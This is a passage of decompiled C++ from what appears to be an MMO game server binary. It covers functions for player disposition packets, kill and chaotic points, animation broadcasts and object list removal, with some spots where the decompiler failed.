(__thiscall **)(_DWORD))(*(_DWORD *)v1 + 832))(v1); *((_DWORD *)v2 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_DWORD *)v2 + 2) = clockwatch.cw_CurrTick; v3 = *((_DWORD *)v1 + 8040) + 171; *((_DWORD *)v2 + 3) = *(_DWORD *)v3; *((_DWORD *)v2 + 4) = *(_DWORD *)(v3 + 4); *((_DWORD *)v2 + 5) = *(_DWORD *)(v3 + 8); *((_DWORD *)v2 + 6) = *(_DWORD *)(v3 + 12); v2[28] = *(_BYTE *)(v3 + 16); *(_DWORD *)(v2 + 25) = *((_DWORD *)v1 + 35505) - clockwatch.cw_CurrTick; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 29) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_SetDisposition : Packet Too Long", 29); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendDisposition2WM"); } //----- (00528410) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendDisposition2DB(void *this) { void *v1; // edi@1 char *v2; // esi@1 int v3; // eax@1 ZoneBaseSession *v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendDisposition2DB"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendDisposition2DB"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 16414; *((_DWORD *)v2 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v2 + 1) = 0; v3 = *((_DWORD *)v1 + 8040) + 171; *((_DWORD *)v2 + 2) = *(_DWORD *)v3; *((_DWORD *)v2 + 3) = *(_DWORD *)(v3 + 4); *((_DWORD *)v2 + 4) = *(_DWORD *)(v3 + 8); *((_DWORD *)v2 + 5) = *(_DWORD *)(v3 + 12); v2[24] = *(_BYTE *)(v3 + 16); *(_DWORD *)(v2 + 21) = *((_DWORD *)v1 + 35505) - clockwatch.cw_CurrTick; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 25) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_SetDisposition : Packet Too Long", 25); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendDisposition2DB"); } //----- (00528530) -------------------------------------------------------- char __cdecl GetMobDisposition(MobType mobType) { char result; // al@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GetMobDisposition"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GetMobDisposition"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( mobType ) { case 6: case 15: case 20: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GetMobDisposition"); result = 1; break; case 21: case 22: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GetMobDisposition"); result = 3; break; default: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GetMobDisposition"); result = 0; break; } return result; } //----- (00528640) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_GetDisposition(int this) { return GetMobDisposition(*(MobType *)(**(_DWORD **)(this + 7656) + 99)); } //----- (00528660) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_IncreaseChaoticPoint(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_IncreaseChaoticPoint"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_IncreaseChaoticPoint"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ++*(_DWORD *)(*((_DWORD *)v1 + 8040) + 172); ++*(_DWORD *)(*((_DWORD *)v1 + 8040) + 176); ++*(_DWORD *)(*((_DWORD *)v1 + 8040) + 180); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 2704))(v1, 3, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_IncreaseChaoticPoint"); } //----- (00528730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_IncreaseKillPoint(void *this) { void *v1; // esi@1 int v2; // edi@1 int v3; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_IncreaseKillPoint"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_IncreaseKillPoint"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ++*(_DWORD *)(*((_DWORD *)v1 + 8040) + 172); ++*(_DWORD *)(*((_DWORD *)v1 + 8040) + 176); v2 = *(_DWORD *)v1; v3 = (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 2708))(v1, 1); (*(void (__thiscall **)(void *, int))(v2 + 2704))(v1, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_IncreaseKillPoint"); } //----- (005287F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_IncreaseOnlyKillPoint(void *this) { void *v1; // esi@1 int v2; // edi@1 int v3; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_IncreaseOnlyKillPoint"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_IncreaseOnlyKillPoint"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ++*(_DWORD *)(*((_DWORD *)v1 + 8040) + 176); v2 = *(_DWORD *)v1; v3 = (*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 2708))(v1, 1); (*(void (__thiscall **)(void *, int))(v2 + 2704))(v1, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_IncreaseOnlyKillPoint"); } //----- (005288A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_onKillChaosChar(void *this, unsigned __int8 chaoticLevel) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_onKillChaosChar"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_onKillChaosChar"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2708))(v2) == 1 && chaoticLevel >= 2u ) { (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v2 + 32))(v2, 1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1100))(v2); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1096))(v2); } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2720))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_onKillChaosChar"); } //----- (00528970) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ClearChaoticPoint(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ClearChaoticPoint"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ClearChaoticPoint"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)(*((_DWORD *)v1 + 8040) + 180) = 0; (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 2704))(v1, 1, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ClearChaoticPoint"); } //----- (00528A20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_BroadcastDispositionInfo_(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // ecx@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v7; // [sp+1Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_BroadcastDispositionInfo_"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_BroadcastDispositionInfo_"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 7191; *((_WORD *)v2 + 1) = *((_WORD *)v1 + 2); v3 = *((_DWORD *)v1 + 8040) + 171; v2 += 4; *(_DWORD *)v2 = *(_DWORD *)v3; *((_DWORD *)v2 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v2 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v2 + 3) = *(_DWORD *)(v3 + 12); v2[16] = *(_BYTE *)(v3 + 16); v7 = 0; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 21); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v7) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v7) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_BroadcastDispositionInfo_"); } //----- (00528B40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Send2MyselfDispositionInfo_(void *this) { void *v1; // esi@1 char *v2; // eax@1 int v3; // ecx@1 int v4; // eax@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Send2MyselfDispositionInfo_"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Send2MyselfDispositionInfo_"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 7191; *((_WORD *)v2 + 1) = *((_WORD *)v1 + 2); v3 = *((_DWORD *)v1 + 8040) + 171; v2 += 4; *(_DWORD *)v2 = *(_DWORD *)v3; *((_DWORD *)v2 + 1) = *(_DWORD *)(v3 + 4); *((_DWORD *)v2 + 2) = *(_DWORD *)(v3 + 8); *((_DWORD *)v2 + 3) = *(_DWORD *)(v3 + 12); v2[16] = *(_BYTE *)(v3 + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 21) ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 760))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 12))(v4, v1, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Send2MyselfDispositionInfo_ : Packet Too Long", 21); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Send2MyselfDispositionInfo_"); } //----- (00528C50) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_SetHP(int hp) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SetHP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_SetHP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SetHP"); } //----- (00528CA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SetHP(void *this, int hp) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SetHP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_SetHP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; *((_DWORD *)v2 + 1870) = hp; if ( *((_DWORD *)v2 + 1870) > (unsigned int)(*(int (__thiscall **)(void *))(v3 + 1260))(v2) ) *((_DWORD *)v2 + 1870) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1260))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SetHP"); } //----- (00528D60) -------------------------------------------------------- #error "528D60: undefined or illegal type '#593' (funcsize=37)" //----- (00528E10) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_mgcfld_FirstTickDelay() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mgcfld_FirstTickDelay"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mgcfld_FirstTickDelay"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mgcfld_FirstTickDelay"); } //----- (00528E50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMagicField::so_mgcfld_FirstTickDelay(ShineObjectClass::ShineMagicField *this) { ShineObjectClass::ShineMagicField *v1; // esi@1 unsigned int v2; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMagicField::so_mgcfld_FirstTickDelay"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMagicField::so_mgcfld_FirstTickDelay"; v2 = clockwatch.cw_CurrTick; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->smfm_Tick.m_NextTick = v2 + v1->smfm_Tick.m_TickInterval; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMagicField::so_mgcfld_FirstTickDelay"); } //----- (00528EC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SetAnimation(int this, const char *sAnimationIndex) { char *v2; // eax@1 int v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v7; // [sp+1Ch] [bp-4h]@1 v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8308; v3 = this; *((_WORD *)v2 + 1) = *(_WORD *)(this + 4); strncpy(v2 + 4, sAnimationIndex, 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 36); v4 = *(_DWORD *)(v3 + 78); v7 = 0; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v5, v4, 0, 0, (int)&alchat, 0, 65535); if ( sAnimationIndex ) strncpy((char *)(*(_DWORD *)(v3 + 32160) + 189), sAnimationIndex, 0x20u); v7 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (00528F80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SetAnimation(int this, const char *sAnimationIndex) { char *v2; // eax@1 int v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v7; // [sp+1Ch] [bp-4h]@1 v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8308; v3 = this; *((_WORD *)v2 + 1) = *(_WORD *)(this + 4); strncpy(v2 + 4, sAnimationIndex, 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 36); v4 = *(_DWORD *)(v3 + 78); v7 = 0; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v5, v4, 0, 0, (int)&alchat, 0, 65535); if ( sAnimationIndex ) strncpy((char *)(*(_DWORD *)(v3 + 7631) + 92), sAnimationIndex, 0x20u); v7 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (00529040) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ResetAnimation(int this) { char *v1; // eax@1 int v2; // esi@1 int v3; // ST04_4@1 int v4; // eax@1 AxialListPacketBroadcast alchat; // [sp+4h] [bp-18h]@1 int v6; // [sp+18h] [bp-4h]@1 v1 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8309; v2 = this; *((_WORD *)v1 + 1) = *(_WORD *)(this + 4); strncpy(v1 + 4, (const char *)(*(_DWORD *)(this + 32160) + 189), 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 36); v3 = *(_DWORD *)(v2 + 78); v6 = 0; v4 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v4, v3, 0, 0, (int)&alchat, 0, 65535); strncpy((char *)(*(_DWORD *)(v2 + 32160) + 189), byte_635E1E, 0x20u); v6 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (00529110) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_ResetAnimation(int this) { char *v1; // eax@1 int v2; // esi@1 int v3; // ST04_4@1 int v4; // eax@1 AxialListPacketBroadcast alchat; // [sp+4h] [bp-18h]@1 int v6; // [sp+18h] [bp-4h]@1 v1 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8309; v2 = this; *((_WORD *)v1 + 1) = *(_WORD *)(this + 4); strncpy(v1 + 4, (const char *)(*(_DWORD *)(this + 7631) + 92), 0x20u); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 36); v3 = *(_DWORD *)(v2 + 78); v6 = 0; v4 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v2, v4, v3, 0, 0, (int)&alchat, 0, 65535); strncpy((char *)(*(_DWORD *)(v2 + 7631) + 92), byte_635E1E, 0x20u); v6 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (005291D0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00529230) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00529280) -------------------------------------------------------- char __thiscall SlantedCoordList::CoordedNode::cn_RemoveList(SlantedCoordList::CoordedNode *this) { SlantedCoordList::CoordedNode *v1; // esi@1 SlantedCoordList::CoordedNode *v2; // eax@1 SlantedCoordList::CoordedNode *v3; // eax@7 char result; // al@9 int v5; // [sp-4h] [bp-8h]@3 v1 = this; v2 = this->cn_next; if ( this->cn_prev ) { if ( !v2 ) { v5 = 1; goto LABEL_6; } } else { if ( v2 ) { v5 = 0; LABEL_6: AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_RemoveList : asymmetry linkage", v5); goto LABEL_7; } } LABEL_7: v3 = v1->cn_prev; if ( v3 != v1 || v1->cn_next != v1 ) { v3->cn_next = v1->cn_next; v1->cn_next->cn_prev = v1->cn_prev; SlantedCoordList::CoordedNode::cn_IsValid(v1->cn_prev); SlantedCoordList::CoordedNode::cn_IsValid(v1->cn_next); v1->cn_prev = v1; v1->cn_next = v1; result = 1; } else { result = 0; } return result; } //----- (005292F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Unmark(void *this, int when, char logoutpacket, char SaveType) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Unmark"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_Unmark"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 784))(v4); if ( logoutpacket ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1304))(v4); SlantedCoordList::CoordedNode::cn_RemoveList((SlantedCoordList::CoordedNode *)((char *)v4 + 22)); SlantedCoordList::CoordedNode::cn_RemoveList((SlantedCoordList::CoordedNode *)((char *)v4 + 34)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_Unmark"); } //----- (005293B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_LogoutPacketBroadcast(void *this) { void *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ecx@1 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@1 int v6; // [sp+1Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LogoutPacketBroadcast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_LogoutPacketBroadcast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6149; v3 = *((_WORD *)v1 + 2); v6 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 12); LOBYTE(v6) = 1; if ( v4 && !ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0) ) ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0); LOBYTE(v6) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LogoutPacketBroadcast"); } //----- (005294A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast(ShineObjectClass::ShineDropItem *this) { ShineObjectClass::ShineDropItem *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ecx@1 AxialListPacketBroadcast4ItemPickUp alchat; // [sp+8h] [bp-18h]@1 int v6; // [sp+1Ch] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6149; v3 = *(_WORD *)&v1->gap0[4]; v6 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp(&alchat, &gpp, 4); v4 = *(_DWORD *)(*(_DWORD *)&v1->gap0[98] + 12); LOBYTE(v6) = 1; if ( v4 && !ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0) ) ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alchat, 0); LOBYTE(v6) = 0; AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp(&alchat); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_LogoutPacketBroadcast"); } //----- (00529590) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllOfRange_Simple(int this, int ala, char *nRange) { void *v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 v3 = (void *)this; v4 = *(_DWORD *)(this + 78); v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); return ShineObjectClass::ShineObject::so_AllOfRange(v3, v5, v4, nRange, 0, ala, 1, 65535); } //----- (005295C0) -------------------------------------------------------- #error "5295C0: undefined or illegal type '#593' (funcsize=107)" //----- (00529720) -------------------------------------------------------- #error "529720: undefined or illegal type '#593' (funcsize=122)" //----- (005298A0) -------------------------------------------------------- #error "5298A0: undefined or illegal type '#593' (funcsize=133)" //----- (00529A40) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse(int event, int center, int range, int fansector, int axialfunc, int a6, int a7, int a8, char tome, __int16 excepter) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse_Func5"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse_Func5"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse_Func5"); return 1; } //----- (00529AC0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::MobActionArgument(MobTacticElement::MobActionArgument *this) { MobTacticElement::MobActionArgument *v1; // esi@1 v1 = this; MobTacticElement::MobActionArgument::Selector::Selector(&this->maa_TargetSelect); MobTacticElement::MobActionArgument::Actor::Actor(&v1->maa_MobActionStruct); } //----- (00529B10) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::_MobActionArgument(MobTacticElement::MobActionArgument *this) { MobTacticElement::MobActionArgument *v1; // esi@1 v1 = this; MobTacticElement::MobActionArgument::Actor::_Actor(&this->maa_MobActionStruct); MobTacticElement::MobActionArgument::Selector::_Selector(&v1->maa_TargetSelect); } //----- (00529B60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_FreeFromList(int this) { int v1; // esi@1 int v2; // eax@1 int v3; // edx@1 SlantedCoordList::CoordedNode *v4; // ecx@1 signed __int16 v5; // di@1 signed __int16 v6; // bx@1 v1 = this; v2 = *(_DWORD *)(this + 26); v3 = *(_DWORD *)(this + 30); v4 = (SlantedCoordList::CoordedNode *)(this + 22); v5 = 0; v6 = 0; if ( v2 != v3 ) { SlantedCoordList::CoordedNode::cn_RemoveList(v4); v6 = 1; } if ( *(_DWORD *)(v1 + 38) != *(_DWORD *)(v1 + 42) ) { SlantedCoordList::CoordedNode::cn_RemoveList((SlantedCoordList::CoordedNode *)(v1 + 34)); v5 = 1; } if ( v6 != v5 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectList::som_FreeObject : one of SlantedList is removed", (unsigned __int16)v6, (unsigned __int16)v5); } //----- (00529BC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_FreeFromList(int this) { int v1; // eax@1 v1 = *(_DWORD *)(this + 9013); if ( v1 != this ) 